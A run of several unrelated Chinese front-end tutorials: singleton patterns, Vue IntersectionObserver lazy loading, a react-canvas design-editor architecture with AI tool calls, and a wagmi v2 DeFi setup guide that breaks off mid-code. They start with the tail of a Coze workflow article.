因此常见节奏是:Coze 验证工作流是否合理 → 定型后用 Node.js(或其它后端) 把同一条 DAG 写成可维护的服务(与本仓库 server.js 编排多厂商 API 的思路一致)。理解「工作流原理」之后,换承载并不神秘。


小结:从草图到可对话的一条龙

  1. 先定义成功态与边界(对应上文「设计四步」前两条):用户拿什么结果、年龄与体裁等约束。
  2. 再画工作流(设计四步后两条 + mermaid):拆能力、定顺序、选承载。
  3. 实践一:Coze 画布:「大模型 → 循环 + 必应 → 大模型 ×2 → 搜索文本转语音」,开始/结束用默认节点。
  4. 实践二:上架:发布工作流 → 创建智能体 → 编排 → 技能 → 工作流 挂载 → 预览 → 发布智能体。
  5. 再决定要不要自研:原型通过后,用 Node.js 等复刻同一条 DAG(见本仓库 server.js 一类编排)。

智能体不是「多调几次模型」的代名词,而是**「多步能力 + 清晰编排」**的产物;设计稿 → 工作流画布 → 对话壳挂载 走完,就是从想法到可演示产品的完整一程。

单例模式渐进式学习指南

单例模式渐进式学习指南

面向前端开发者,从“看懂概念”到“能写能辨别”,一步步掌握设计模式中的单例模式。


目录

  1. 什么是单例模式?
  2. 为什么前端里需要单例?
  3. 先从最小例子理解“唯一实例”
  4. 单例模式的标准结构
  5. 前端中常见的单例场景
  6. 几种常见实现方式
  7. 单例模式的优点与缺点
  8. 使用单例时的常见误区
  9. 面试中怎么回答单例模式
  10. 练习题与思考题
  11. 学习总结

一、什么是单例模式?

单例模式(Singleton Pattern)是一种创建型设计模式

它的核心目标只有一句话:

保证一个类、一个对象工厂、或一个功能模块在系统中只有一个实例,并提供一个全局访问点。

你可以把它理解成:

  • 系统里这个对象只能创建一次
  • 后面再获取时,拿到的都是同一个对象
  • 大家共用它,而不是每次都 new 一个新的

生活类比

可以把单例想象成:

  • 浏览器里的 window
  • 页面中的全局配置中心
  • 整个项目里唯一的消息提示组件管理器
  • 唯一的缓存中心

这些东西通常不需要来一个人就建一个新的,否则系统会乱套。

单例的两个关键词

关键词 含义
唯一实例 无论调用多少次,都只有一个对象
全局访问 任何需要它的地方都能拿到同一个对象

二、为什么前端里需要单例?

很多初学者会有个疑问:

前端不就是写页面吗?为什么还要学设计模式?

其实前端项目一旦变大,就会出现很多“全局唯一资源”的问题。

常见需求

  • 全局只有一个登录弹窗
  • 全局只有一个消息通知容器
  • 全局只有一个请求管理器
  • 全局只有一个事件总线实例
  • 全局只有一个缓存对象
  • 全局只有一个状态管理容器入口

如果每次使用都重新创建:

  • 会造成资源浪费
  • 会引发状态不一致
  • 会让调试复杂度上升
  • 甚至会出现界面重复渲染、重复请求等问题

一个典型问题

比如你写一个全局弹窗:

function createModal() {
  return {
    show() {
      console.log('弹窗打开')
    },
  }
}

const modal1 = createModal()
const modal2 = createModal()

console.log(modal1 === modal2) // false

这里 modal1modal2 不是同一个对象。

这意味着:

  • 你可能创建了多个弹窗实例
  • 每个实例的状态互不相通
  • 页面上可能冒出多个重复弹窗

这时候,单例模式就登场了。


三、先从最小例子理解“唯一实例”

普通写法:每次都创建新对象

function createUserStore() {
  return {
    name: 'frontend-store',
  }
}

const store1 = createUserStore()
const store2 = createUserStore()

console.log(store1 === store2) // false

单例写法:始终返回同一个对象

function createSingleUserStore() {
  let instance = null

  return function () {
    if (!instance) {
      instance = {
        name: 'frontend-store',
      }
    }

    return instance
  }
}

const getStore = createSingleUserStore()

const store1 = getStore()
const store2 = getStore()

console.log(store1 === store2) // true

这段代码发生了什么?

核心在这里:

let instance = null

它会把第一次创建出来的对象缓存起来。

后续再调用时:

  • 如果 instance 不存在,就创建
  • 如果 instance 已存在,就直接返回

于是无论调用多少次,拿到的都是同一个对象。

一句话:单例不是“不让你调用”,而是“让你重复调用时仍然拿到同一个实例”。


四、单例模式的标准结构

虽然前端里未必真的写“类”,但你最好知道它的标准思想。

结构拆解

一个典型的单例通常包含 3 个部分:

  1. 私有实例缓存:记录是否已经创建过对象
  2. 创建逻辑:第一次使用时创建对象
  3. 访问入口:外部通过统一方法获取实例

用类的方式理解

class Singleton {
  constructor() {
    if (Singleton.instance) {
      return Singleton.instance
    }

    this.data = '唯一实例'
    Singleton.instance = this
  }
}

const s1 = new Singleton()
const s2 = new Singleton()

console.log(s1 === s2) // true

更推荐前端中理解成“模块级唯一对象”

在现代前端中,很多单例并不是通过 class 写出来的,而是通过 模块缓存机制 自然形成的。

// config.js
const config = {
  apiBaseUrl: 'https://api.example.com',
  timeout: 5000,
}

export default config
// a.js
import config from './config.js'

// b.js
import config from './config.js'

因为 ES Module 会缓存模块实例,所以多个文件导入同一个模块时,通常拿到的是同一份模块对象。

这也是前端里最常见、最自然的“单例感”来源。


五、前端中常见的单例场景

这一部分最重要,因为真正写业务时,你不是为了“背定义”而用单例,而是为了解决全局唯一资源管理问题

1. 全局消息提示(Message / Toast)

很多 UI 库里的全局提示本质就是单例。

class Message {
  constructor() {
    this.queue = []
  }

  show(text) {
    this.queue.push(text)
    console.log('消息:', text)
  }
}

let messageInstance = null

export function getMessageInstance() {
  if (!messageInstance) {
    messageInstance = new Message()
  }

  return messageInstance
}

使用时:

const message1 = getMessageInstance()
const message2 = getMessageInstance()

message1.show('保存成功')
console.log(message1 === message2) // true

2. 全局弹窗管理器

如果每点击一次按钮都创建一个弹窗管理器,页面就可能出现多个重复节点。

单例的好处是:

  • 整个应用只维护一个弹窗容器
  • 状态统一管理
  • DOM 节点不会重复创建

3. 请求管理器 / API 客户端

比如你封装了一个请求实例:

class RequestService {
  constructor(baseURL) {
    this.baseURL = baseURL
  }

  get(url) {
    console.log(`GET: ${this.baseURL}${url}`)
  }
}

let requestInstance = null

export function getRequestService() {
  if (!requestInstance) {
    requestInstance = new RequestService('/api')
  }

  return requestInstance
}

这样做可以统一:

  • baseURL
  • 请求拦截器
  • token 注入
  • 错误处理策略

4. 缓存中心

const cache = {
  data: new Map(),
  set(key, value) {
    this.data.set(key, value)
  },
  get(key) {
    return this.data.get(key)
  },
}

export default cache

这本质上也是一个单例对象。

5. 状态共享对象

某些轻量项目不用 Pinia / Redux,也会自己写一个全局 store。

const store = {
  state: {
    userInfo: null,
  },
  setUser(user) {
    this.state.userInfo = user
  },
}

export default store

所有页面共享同一份 store,这就是一种模块单例。


六、几种常见实现方式

方式一:闭包实现单例(最适合入门)

function createSingleton() {
  let instance = null

  return function () {
    if (!instance) {
      instance = {
        id: Date.now(),
      }
    }
    return instance
  }
}

const getInstance = createSingleton()
const obj1 = getInstance()
const obj2 = getInstance()

console.log(obj1 === obj2) // true
优点
  • 容易理解
  • 不依赖 class
  • 很适合讲清“缓存实例”的本质
缺点
  • 如果逻辑复杂,代码可维护性一般

方式二:类 + 静态属性

class LoginDialog {
  static instance = null

  constructor() {
    if (LoginDialog.instance) {
      return LoginDialog.instance
    }

    this.visible = false
    LoginDialog.instance = this
  }

  open() {
    this.visible = true
    console.log('登录弹窗打开')
  }
}

const dialog1 = new LoginDialog()
const dialog2 = new LoginDialog()

console.log(dialog1 === dialog2) // true
优点
  • 结构清晰
  • 更贴近传统设计模式写法
  • 适合面试表达
缺点
  • 对前端业务代码来说有时略显“重”

方式三:模块单例(现代前端最常见)

// auth-store.js
const authStore = {
  token: '',
  setToken(token) {
    this.token = token
  },
}

export default authStore
import authStore from './auth-store.js'
为什么它是单例?

因为模块只会初始化一次,后续导入拿到的是同一个模块实例引用。

优点
  • 写法最自然
  • 非常适合工程化项目
  • 不需要显式写 getInstance
缺点
  • 初学者可能“用了单例却没意识到自己在用单例”

方式四:惰性单例(Lazy Singleton)

惰性单例指的是:

不在一开始就创建实例,而是在第一次真正需要时才创建。

function getModal() {
  if (!getModal.instance) {
    getModal.instance = {
      createdAt: Date.now(),
      show() {
        console.log('显示 modal')
      },
    }
  }

  return getModal.instance
}

这种方式很常见,因为很多全局对象并不一定在页面加载时就需要。

惰性单例的意义

  • 减少初始加载开销
  • 按需创建资源
  • 更适合弹窗、通知、复杂组件容器

七、单例模式的优点与缺点

任何设计模式都不是“银弹”,单例也一样。

优点

1. 节省资源

只创建一次对象,避免重复初始化。

2. 统一状态管理

所有地方访问的都是同一份实例,状态天然一致。

3. 便于全局协调

适合处理:

  • 全局配置
  • 全局弹窗
  • 全局缓存
  • 全局事件中心
4. 减少重复代码

不必每次都手动创建和管理相同对象。

缺点

1. 全局状态过多会让系统变复杂

一旦所有东西都做成单例,项目就会慢慢变成“全局变量乐园”。这可不是什么嘉年华。

2. 测试不友好

单例在测试中容易产生状态污染。

比如:

  • 上一个测试改了实例状态
  • 下一个测试拿到的还是同一个实例
  • 测试之间互相影响
3. 模块耦合增强

很多模块都依赖某个全局单例时,重构会变困难。

4. 容易被滥用

不是“全局都能访问”就该用单例,只有确实应该全局唯一时才适合。


八、使用单例时的常见误区

误区 1:把普通工具函数也做成单例

比如一个纯函数工具库:

function formatDate(date) {
  return String(date)
}

这种函数没有状态,不需要单例。

没有状态、没有初始化成本、没有唯一资源约束的对象,通常没必要单例化。

误区 2:把“全局可访问”误认为“必须单例”

全局可访问 ≠ 必须只有一个实例。

比如:

  • 表单校验器可能每个表单都应该有独立实例
  • 图表对象可能每个图表容器都应该各自创建

误区 3:忽略实例重置能力

在测试或热更新环境中,有些单例需要支持重置,否则状态会残留。

let instance = null

export function getInstance() {
  if (!instance) {
    instance = { count: 0 }
  }
  return instance
}

export function resetInstance() {
  instance = null
}

误区 4:把单例当作“解决一切共享问题”的万能方案

如果共享状态越来越复杂,应该考虑:

  • 状态管理库(Pinia / Redux / Zustand)
  • 依赖注入
  • 组合式函数(composables)
  • 上下文容器

单例是工具,不是宗教。


九、面试中怎么回答单例模式

如果面试官问:

你怎么理解单例模式?前端中有哪些应用?

你可以这样回答:

标准回答模板

单例模式是一种创建型设计模式,核心是保证某个对象在系统中只有一个实例,并提供统一的访问入口。

在前端开发中,它常用于管理全局唯一资源,比如:

  • 全局弹窗
  • 消息提示组件
  • 请求实例
  • 缓存对象
  • 全局配置对象

实现方式通常有:

  • 闭包缓存实例
  • 类的静态属性保存实例
  • ES Module 天然单例

它的优点是节省资源、统一状态;缺点是容易带来全局耦合、测试困难,因此要谨慎使用,避免滥用。

如果面试官继续追问:ES Module 算不算单例?

你可以回答:

在工程实践里,很多模块导出的对象会因为模块缓存机制而表现出单例特征,所以它是一种非常常见的“模块级单例”实现方式。

如果继续追问:单例和全局变量有什么区别?

你可以回答:

  • 全局变量只是“所有地方都能访问”
  • 单例模式强调“唯一实例 + 可控访问入口 + 创建时机管理”

所以单例比裸露的全局变量更有结构,也更便于维护。


十、练习题与思考题

练习 1:实现一个单例缓存对象

要求:

  • 只能创建一个缓存实例
  • 提供 setget 方法

你可以自己先暂停 5 分钟写一下,再参考下面思路:

function createCacheSingleton() {
  let instance = null

  return function () {
    if (!instance) {
      instance = {
        data: new Map(),
        set(key, value) {
          this.data.set(key, value)
        },
        get(key) {
          return this.data.get(key)
        },
      }
    }

    return instance
  }
}

练习 2:实现一个全局登录弹窗管理器

要求:

  • 整个应用中只能有一个登录弹窗实例
  • 支持 open()close()

练习 3:思考哪些场景不适合单例

请判断以下对象是否适合单例,并说明理由:

  • 每个页面一个轮播图实例
  • 全局埋点上报管理器
  • 每个表格一个筛选器对象
  • 全局请求客户端
  • 每个图表一个图表实例

参考答案方向

对象 是否适合单例 原因
每个页面一个轮播图实例 不适合 每个轮播图通常是独立的
全局埋点上报管理器 适合 全局统一上报规则和缓存队列
每个表格一个筛选器对象 不适合 每个表格状态独立
全局请求客户端 适合 请求配置、拦截器应统一
每个图表一个图表实例 不适合 每个容器对应独立实例

十一、学习总结

你应该记住的 4 句话

  1. 单例模式的核心是:一个实例、全局访问。
  2. 前端中凡是“全局唯一资源”,都值得考虑单例。
  3. 现代前端里最常见的单例形式,其实是模块单例。
  4. 不要滥用单例,能局部化的状态就不要硬塞成全局。

一张速记表

问题 结论
单例模式是什么? 保证对象只有一个实例
适合什么场景? 全局配置、消息提示、请求实例、缓存中心
常见实现方式? 闭包、类静态属性、ES Module
最大风险是什么? 全局耦合、状态污染、测试困难
判断标准是什么? 这个对象是否真的应该全局唯一

使用 IntersectionObserver + 哨兵元素实现长列表懒加载

一、背景与痛点

在一个设备监控数据看板项目中,设备列表可能包含 300+ 个设备卡片。如果一次性渲染全部 DOM 节点,会带来明显的性能问题:

  • 首屏白屏时间长:300+ 卡片组件同时挂载,主线程阻塞
  • 内存占用高:大量 DOM 节点常驻内存
  • 交互卡顿:滚动、点击等操作响应延迟

为此,我们采用 IntersectionObserver + 哨兵元素 方案实现懒加载。

二、核心思路

整体思路可以概括为  "分页截取 + 哨兵触发"

全量数据(300+)  →  分页截取显示(每页15条)  →  哨兵进入视口时追加下一页

关键设计:

  1. 数据全量存储,视图分页截取deviceList 保存完整数据,displayDeviceList 通过 computed 计算 slice(0, end) 返回当前应显示的子集
  2. 哨兵元素:在列表末尾放置一个不可见的 DOM 元素,当它进入视口时触发加载
  3. IntersectionObserver:原生浏览器 API,高效监听元素与视口的交叉状态,零滚动事件开销

三、架构图示

┌─────────────────────────────────────────────┐
│            Vue Component (data)              │
│  deviceList: [...]         // 全量300+设备   │
│  devicePageSize: 15        // 每页条数       │
│  deviceCurrentPage: 0      // 当前页码       │
│  observer: null            // Observer实例    │
├─────────────────────────────────────────────┤
│            Computed Properties               │
│  displayDeviceList → slice(0, pageSize*page) │
│  hasMoreDevices → displayed < total          │
├─────────────────────────────────────────────┤
│            Template 渲染逻辑                 │
│  v-for="device in displayDeviceList"         │
│  ┌─── Card ───┐  ┌─── Card ───┐  ...        │
│  └────────────┘  └────────────┘              │
│  ┌─── Sentinel (ref="sentinel") ───┐         │
│  │  v-if="hasMoreDevices"          │         │
│  │  <加载更多设备...>               │         │
│  └─────────────────────────────────┘         │
└─────────────────────────────────────────────┘
         │                    ▲
         │ observe(sentinel)  │ isIntersecting
         ▼                    │
┌─────────────────────────────────────────────┐
│        IntersectionObserver                  │
│  rootMargin: '200px'   // 提前200px触发      │
│  threshold: 0.1                             │
│  → 触发 loadMoreDevices()                    │
│  → deviceCurrentPage++                       │
│  → displayDeviceList 自动更新 → DOM 更新     │
│  → $nextTick → 重新绑定哨兵                   │
└─────────────────────────────────────────────┘

四、核心代码实现

4.1 数据定义

data() {
  return {
    deviceList: [],        // 全量设备数据
    devicePageSize: 15,    // 每页条数
    deviceCurrentPage: 0,  // 当前已加载页数
    observer: null,        // IntersectionObserver 实例
  }
}

4.2 计算属性(视图截取 + 状态判断)

computed: {
  /** 当前已加载的设备列表(懒加载切片) */
  displayDeviceList() {
    const end = this.devicePageSize * this.deviceCurrentPage
    return this.deviceList.slice(0, end)
  },
  /** 是否还有更多设备可加载 */
  hasMoreDevices() {
    return this.displayDeviceList.length < this.deviceList.length
  }
}

关键点:使用 computed 而非手动维护一个 displayed 数组,确保数据源变化时自动响应更新。

4.3 哨兵元素(模板)

<!-- 设备网格容器 -->
<div class="dm-device-grid">
  <!-- 仅渲染 displayDeviceList 而非 deviceList -->
  <div v-for="device in displayDeviceList" :key="device.id" class="dm-device-card">
    <!-- 设备卡片内容 -->
  </div>
  <!-- 哨兵元素:仅在还有未加载数据时显示 -->
  <div v-if="hasMoreDevices" ref="sentinel" class="dm-lazy-sentinel">
    <i class="el-icon-loading" />
    <span>加载更多设备...</span>
  </div>
</div>

关键点v-if="hasMoreDevices" 确保数据全部加载后哨兵消失,Observer 自动停止触发。

4.4 IntersectionObserver 初始化

initObserver() {
  // 先断开旧观察器,防止重复绑定
  this.disconnectObserver()
  this.$nextTick(() => {
    const sentinel = this.$refs.sentinel
    if (!sentinel) return  // 哨兵不存在(数据已全部加载)

    this.observer = new IntersectionObserver(
      (entries) => {
        if (entries[0].isIntersecting) {
          this.loadMoreDevices()
        }
      },
      {
        rootMargin: '200px',  // 提前200px触发,用户无感知
        threshold: 0.1
      }
    )
    this.observer.observe(sentinel)
  })
}

关键参数说明

  • rootMargin: '200px':哨兵距离视口还有 200px 时就触发回调,提前加载数据,实现 无感加载
  • threshold: 0.1:哨兵 10% 可见时即触发

4.5 加载更多 & 清理

/** 加载更多设备 */
loadMoreDevices() {
  if (!this.hasMoreDevices) return
  this.deviceCurrentPage++
  // 页码增加 → displayDeviceList 自动重新计算 → DOM 更新
  // Vue 响应式保证了这一链条无需手动操作
},

/** 断开观察器(组件销毁 / 切换组织时调用) */
disconnectObserver() {
  if (this.observer) {
    this.observer.disconnect()
    this.observer = null
  }
}

4.6 数据加载后重置

async loadDeviceList(organizationId) {
  this.deviceLoading = true
  try {
    const res = await fetchDeviceStatusList(params)
    this.deviceList = res.data.data || []
    // 重置懒加载分页
    this.deviceCurrentPage = 1  // 初始加载第一页
    this.$nextTick(() => {
      this.initObserver()  // 重新绑定观察器
    })
  } finally {
    this.deviceLoading = false
  }
}

4.7 生命周期钩子

mounted() {
  // ...其他初始化
  this.$nextTick(() => {
    this.initObserver()
  })
},
beforeDestroy() {
  // 清理 Observer,防止内存泄漏
  this.disconnectObserver()
}

五、数据流转全流程

用户滚动页面
    │
    ▼
IntersectionObserver 检测哨兵进入视口(提前200px)
    │
    ▼
回调触发 → loadMoreDevices()
    │
    ▼
deviceCurrentPage++ (1→2→3...)
    │
    ▼
displayDeviceList (computed) 自动重新计算
    slice(0, 15*2) → slice(0, 15*3) → ...
    │
    ▼
Vue 响应式更新 DOM(新增15个卡片)
    │
    ▼
哨兵元素被推到更下方
    │
    ▼
Observer 继续监听新位置的哨兵
    │
    ... 重复直到 hasMoreDevices === false
    │
    ▼
v-if="hasMoreDevices" = false → 哨兵从DOM移除
    │
    ▼
Observer 无目标 → 自动不再触发

六、方案优势总结

对比维度 传统 scroll 事件 本方案 (IntersectionObserver)
性能 滚动时高频触发,需 throttle/debounce 浏览器底层异步回调,零性能损耗
代码复杂度 需手动计算元素位置 getBoundingClientRect 声明式配置 rootMargin/threshold
兼容性 全兼容 IE 不支持,现代浏览器均支持
触发精度 节流后可能延迟或重复触发 精确触发一次,无重复

额外优点

  • 零依赖:纯浏览器原生 API,无需引入第三方库(如 vue-virtual-scroller)
  • 低侵入:仅需修改数据切片逻辑 + 添加哨兵元素,不改动现有卡片组件
  • 提前加载:通过 rootMargin 提前 200px 触发,用户几乎感知不到加载过程
  • 自动停止:数据全部加载后哨兵自动移除,Observer 不再触发

七、注意事项与踩坑

  1. $nextTick 必不可少initObserver 中获取 $refs.sentinel 必须在 DOM 更新后执行,所以需要 $nextTick 包裹
  2. 重置时机:切换组织 / 重新加载数据时,必须重置 deviceCurrentPage 并重新 initObserver
  3. 内存泄漏beforeDestroy 中务必调用 disconnectObserver() 清理
  4. Grid 布局兼容:哨兵元素需设置 grid-column: 1 / -1 确保占满整行,不会被挤到某一列
  5. v-if 而非 v-show:哨兵使用 v-if 控制而非 v-show,这样数据全部加载后哨兵完全从 DOM 移除,Observer 自然不再触发

使用 react-canvas 制作一个 Figma 工具:从画布到编辑器

使用 react-canvas 制作一个 Figma 工具:从画布到编辑器

如果你想做一个类似 Figma 的设计工具,第一反应往往是:

  • 要有高性能画布渲染
  • 要有可组合的 UI 结构
  • 要有事件命中、选中框、拖拽缩放、文本编辑
  • 还要能接入 AI(生成、改图、改布局)

我这次在 apps/open-canvas-lab 里给出的思路是:
react-canvas 作为渲染与交互底座,逐步搭一个“Figma 工具内核”。

lab.png

项目地址


为什么选 react-canvas

react-canvas 这套能力很适合做设计工具,因为它天然覆盖了编辑器最核心的三层:

  1. 场景渲染层:CanvasKit + 场景树,支持复杂布局、文本、图片、矢量
  2. 交互命中层:pick buffer + pointer 事件分发,支持精确命中
  3. 运行时层:场景节点可增删改查,可做撤销重做、选择态同步

相比“直接裸写 Canvas 2D”,这个方案的关键优势是:
你不是在拼命堆 imperative 绘图代码,而是在维护一套可演进的场景模型。


一个可落地的 Figma 工具架构

建议把应用拆成 4 个子系统:

1) Scene(文档模型)

  • 以节点树表达 Frame / Group / Text / Image / Path
  • 每个节点有 transform、style、约束信息
  • 变更统一走 command(方便 undo/redo)

2) Renderer(渲染与命中)

  • 主渲染:react-canvas 场景渲染
  • 命中:pick buffer 解析到 nodeId
  • 选中态叠加:控制框、锚点、参考线

3) Interaction(编辑器手势)

  • pointer down/move/up 组合成 drag / resize / rotate
  • 框选、吸附、对齐辅助线
  • 多选与分组操作

4) Tooling(工具链)

  • 左侧图层树、右侧属性面板
  • 顶部工具栏(选择、文本、矩形、钢笔)
  • 快捷键系统(复制、粘贴、对齐、撤销重做)

在 open-canvas-lab 的实现路线(推荐)

如果你要从 0 到 1 做出可用 MVP,可以按这个顺序:

  1. 文档与选中

    • 建立 node schema
    • 点选节点、高亮边框
  2. 变换编辑

    • 拖拽移动
    • 8 点缩放
    • 基础旋转
  3. 文本与图片

    • 文本节点样式编辑(字体、字号、行高)
    • 图片节点 object-fit / 裁剪
  4. 编辑器体验

    • 框选、多选、组合
    • 对齐吸附与辅助线
    • 撤销重做 + 操作历史
  5. 协作与 AI(进阶)

    • JSON 文档持久化
    • CRDT 协同(多人编辑)
    • AI 生成组件/版式并写回场景树

AI 能力该怎么落地(重点)

很多编辑器把 AI 做成“聊天框 + 一键生成图”,但真正可用的 AI 设计工具,关键是:
AI 输出必须是结构化编辑指令,而不是一段不可控文本。

ai.png 建议把 AI 能力拆成 3 层:

1) 意图层(Prompt / Plan)

  • 输入:自然语言需求(如“生成一个电商详情页首屏”)
  • 输出:任务计划(页面结构、组件清单、风格约束)
  • 形态:可审阅的中间 plan(用户可确认/修改)

这一层不要直接改场景,先做“可解释计划”,能显著降低误生成成本。

2) 工具层(Structured Tools)

给模型的不是“任意写 JSON”,而是明确工具集合,例如:

  • create_frame({ parentId, x, y, width, height, name })
  • create_text({ parentId, text, style })
  • create_image({ parentId, src, fit })
  • update_style({ nodeId, patch })
  • align_nodes({ nodeIds, mode })

模型只负责“调用工具”,具体执行由编辑器 runtime 保证合法性。
这样能把 AI 变成“受约束的自动化操作员”。

3) 执行层(Command Pipeline)

工具调用最终都转换为 command:

  • command[] -> validate -> apply -> layout -> render
  • 全量写入 undo/redo 栈
  • 每一步都可回滚、可重放

这保证了 AI 操作和手动操作使用同一条数据通路,不会出现“双系统分叉”。

推荐的 AI 能力清单

open-canvas-lab 里,建议优先做这 6 类能力:

  1. 从描述生成线框

    • 输入“做一个登录页”,输出基础布局骨架(frame + text + button)
  2. 风格迁移

    • 对选区做“科技蓝 / 极简黑白 / 品牌色系”重绘(仅改 style,不改结构)
  3. 批量排版

    • 统一间距、字号层级、栅格对齐
  4. 组件重写

    • 例如把“普通卡片”一键转成“带封面 + 标签 + CTA”卡片
  5. 文案智能填充

    • 生成标题、副标题、按钮文案,并支持语气风格切换
  6. 设计审查(AI Review)

    • 检查对齐、对比度、可读性、间距一致性,输出可执行修复建议

一个最小 AI 执行链路(MVP)

可以先实现下面这个闭环:

  1. 用户输入需求
  2. 模型输出 tool calls
  3. 前端校验参数(schema)
  4. 转成 command 执行
  5. 在画布高亮本次改动节点
  6. 用户可 accept / undo / retry

这个 MVP 的价值是:
你不需要先做很强的模型能力,就能把“AI 可控编辑”体验跑通。

AI 接入时最容易踩的坑

坑 1:让模型直接返回整份文档 JSON

问题:diff 巨大、不可控、很难回滚。
建议:必须改为“增量工具调用 + command 化执行”。

坑 2:AI 操作绕开编辑器状态机

问题:会破坏选中态、历史栈、约束关系。
建议:AI 与用户操作走同一 command pipeline。

坑 3:没有失败兜底

问题:工具半执行状态下文档损坏。
建议:每批 AI 操作做事务边界(失败整体回滚)。

坑 4:可解释性不足

问题:用户不知道 AI 改了什么。
建议:展示“本次修改节点清单 + 属性 diff”。


JSON 设计(简版)

为了让 AI、编辑器、存储三方都能稳定协作,建议把 JSON 拆成两层:

  1. document schema:描述页面与节点树(可持久化)
  2. command schema:描述一次编辑动作(可回放、可撤销)

1) document schema 示例

{
  "version": "1.0",
  "meta": { "name": "Landing Page", "updatedAt": 1776259200000 },
  "rootId": "frame_root",
  "nodes": {
    "frame_root": {
      "id": "frame_root",
      "type": "frame",
      "name": "Page",
      "children": ["title_1", "btn_1"],
      "layout": { "x": 0, "y": 0, "width": 1440, "height": 900 },
      "style": { "backgroundColor": "#ffffff" }
    },
    "title_1": {
      "id": "title_1",
      "type": "text",
      "text": "Build with react-canvas",
      "layout": { "x": 120, "y": 160, "width": 600, "height": 72 },
      "style": { "fontSize": 56, "fontWeight": 700, "color": "#111827" }
    },
    "btn_1": {
      "id": "btn_1",
      "type": "frame",
      "name": "CTA",
      "children": [],
      "layout": { "x": 120, "y": 280, "width": 168, "height": 48 },
      "style": { "borderRadius": 12, "backgroundColor": "#2563eb" }
    }
  }
}

2) command schema 示例

{
  "id": "cmd_20260415_001",
  "type": "update_style",
  "payload": {
    "nodeId": "btn_1",
    "patch": { "backgroundColor": "#1d4ed8", "borderRadius": 14 }
  },
  "meta": { "source": "ai", "traceId": "run_xxx" }
}

这套拆分的好处是:

  • 文档 JSON 负责“当前状态”
  • command JSON 负责“如何到达这个状态”
  • AI 输出 command,比直接覆盖整份 document 更安全

关键实现细节(踩坑重点)

坐标系统一

编辑器里至少有 3 套坐标:

  • 视口(client)
  • 画布(stage)
  • 节点局部(local)

一定要优先统一坐标映射,否则拖拽、选框和命中会经常“看起来差几像素但很难查”。

命中与视觉分离

不要用“可见像素”直接做命中判断。
正确姿势是用独立 pick 语义层(nodeId 编码),可维护性和稳定性会高很多。

编辑器状态尽量事件化

把“鼠标按下后进入哪种模式”建成有限状态机(FSM),比 scattered boolean 更稳,后续加钢笔、裁剪工具也不容易崩。


一个简单但重要的结论

做 Figma 工具真正困难的不是“画出来”,而是:

  • 模型是否可持续演进
  • 交互是否可组合
  • 渲染/命中/状态是否解耦

react-canvas 的价值在于,它已经把底层最难啃的部分(渲染与交互基础设施)提前搭好。
你可以把主要精力放在“产品能力”和“编辑体验”上。


结语

如果你正在基于 apps/open-canvas-lab 做编辑器方向的实验,这个方向是可行的:
先做一个“可编辑画板 MVP”,再逐步补齐 Figma 级能力,而不是一上来追求完整复刻。

用wagmi v2构建DeFi前端:从连接钱包到读取合约数据的完整实战与避坑指南

背景

上个月,我接手了一个DeFi收益聚合器项目的前端重构任务。老代码用的是 ethers.js + 自己封装的钱包连接逻辑,维护起来非常头疼,尤其是多链支持和交易状态跟踪的部分,bug频出。团队决定迁移到更现代的 wagmi v2 搭配 viem,希望利用其声明式的Hooks来简化状态管理。我的任务很明确:用 React + wagmi v2 搭建一个新的前端基础框架,核心要搞定钱包连接、实时读取用户在不同链上的资产余额、以及一个关键合约(质押池)的数据。

一开始我以为照着官方文档拼凑一下就行,结果在实际开发中,从钱包连接状态同步到合约数据读取,我踩了一路的坑。这篇文章就是我解决这些问题的完整记录。

问题分析

我最开始的思路很简单:按照wagmi官方示例,配置好WagmiProvider,用useConnect连接钱包,用useAccount获取账户,然后用useReadContract读取数据。但一上手就发现了问题。

首先,当用户在MetaMask里切换网络时,前端应用的状态并没有立即同步更新。用户从以太坊主网切换到Arbitrum,但UI上显示的链ID还是1,这会导致后续所有针对错误链的合约调用失败。其次,在读取用户在不同链上的ERC20代币余额时,我需要根据当前激活的链动态切换合约地址,但最初的实现里,链切换后合约查询并没有自动重新执行。最后,在用户进行质押操作后,我需要准确监听交易状态(提交、打包、成功/失败),并实时更新UI上的余额数据,避免用户看到陈旧信息。

排查过程让我意识到,wagmi虽然抽象得很好,但如果不理解其内部的状态更新机制和Hooks的依赖关系,很容易写出看起来能跑但实际上有隐性bug的代码。问题的核心在于如何让React组件状态与钱包的外部状态(链、账户)保持强同步,以及如何正确构造依赖数组以触发查询的重新执行。

核心实现

1. 配置Provider与多链支持

第一步是正确配置WagmiProvider。这里我选择了项目需要支持的四个链:Ethereum, Arbitrum, Optimism和Polygon。我使用viem提供的预定义链配置,并创建了一个自定义的wagmi配置对象。这里有个关键点config对象必须被稳定地引用,最好在React组件外部创建,或者用useMemo包裹,防止它在每次渲染时重新创建,导致不必要的上下文重置。

// src/providers/WagmiProvider.tsx
import { createConfig, http, WagmiProvider as WagmiProviderCore } from 'wagmi';
import { mainnet, arbitrum, optimism, polygon } from 'wagmi/chains';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { injected } from 'wagmi/connectors';

// 创建稳定的查询客户端和配置
const queryClient = new QueryClient();

const config = createConfig({
  chains: [mainnet, arbitrum, optimism, polygon],
  connectors: [injected()], // 主要支持注入式钱包(如MetaMask)
  transports: {
    [mainnet.id]: http(),
    [arbitrum.id]: http(),
    [optimism.id]: http(),
    [polygon.id]: http(),
  },
});

export function WagmiProvider({ children }: { children: React.ReactNode }) {
  return (
    <WagmiProviderCore config={config}>
      <QueryClientProvider client={queryClient}>
        {children}
      </QueryClientProvider>
    </WagmiProviderCore>
  );
}

2. 实现可靠的钱包连接与链状态同步

接下来是连接组件。我不仅需要连接按钮,还需要一个实时显示当前网络和账户的组件。useAccount Hook提供了address, chainId, connector等信息,并且会响应钱包扩展程序的状态变化。但为了处理网络切换,我必须结合使用useSwitchChain

踩过的一个坑:最初我试图用useAccountchainId直接作为读取合约数据的链依据,但当用户拒绝网络切换请求时,chainId可能处于“期望切换”但“实际未变”的中间状态。更好的做法是,对于关键操作(如发送交易),始终使用useAccount返回的chain对象,并结合错误处理。

// src/components/ConnectButton.tsx
import { useConnect, useAccount, useDisconnect, useSwitchChain } from 'wagmi';

export function ConnectButton() {
  const { connect, connectors, isPending } = useConnect();
  const { address, chain, isConnected } = useAccount();
  const { disconnect } = useDisconnect();
  const { switchChain } = useSwitchChain();

  const handleConnect = () => {
    // 默认连接第一个注入式连接器(如MetaMask)
    connect({ connector: connectors[0] });
  };

  const handleSwitchChain = (targetChainId: number) => {
    switchChain({ chainId: targetChainId });
  };

  if (!isConnected) {
    return (
      <button onClick={handleConnect} disabled={isPending}>
